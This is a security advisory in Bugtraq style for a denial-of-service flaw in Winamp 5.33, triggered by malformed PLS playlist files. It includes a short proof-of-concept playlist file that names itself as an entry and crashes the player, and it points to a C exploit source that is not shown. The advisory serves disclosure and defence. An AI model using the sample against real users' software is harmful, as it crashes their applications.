Nullsoft Winamp PLS File Remote Denial of Service Vulnerability

Bugtraq ID:	23627
Class:	Failure to Handle Exceptional Conditions
CVE:
Remote:	Yes
Local:	No
Published:	Apr 24 2007 12:00AM
Updated:	Apr 24 2007 08:10PM
Credit:	wHITe_ShEEp is credited with the discovery of this vulnerability.
Vulnerable:	NullSoft Winamp 5.33
Not Vulnerable:

Nullsoft Winamp PLS File Remote Denial of Service Vulnerability

Nullsoft Winamp is prone to a denial-of-service vulnerability when processing malformed PLS files.

Successfully exploiting this issue allows remote attackers to crash affected applications.

This issue is reported to affect Winamp 5.33; other versions may also be affected.

Nullsoft Winamp PLS File Remote Denial of Service Vulnerability

A sample PLS file that demonstrates this issue was provided by X. It must be named the same as is specified in the File2 line, 'exploit.pls' in this case.

[playlist]
File1= A
Title1=exploit
Length1=-1
File2=exploit.pls
Title2=exploit
Length2=-1
NumberOfEntries=2
Version=2


The source to the original exploit is also available:

• /data/vulnerabilities/exploits/23627.c

Nullsoft Winamp PLS File Remote Denial of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

Nullsoft Winamp PLS File Remote Denial of Service Vulnerability

References:

• Winamp Home Page (NullSoft)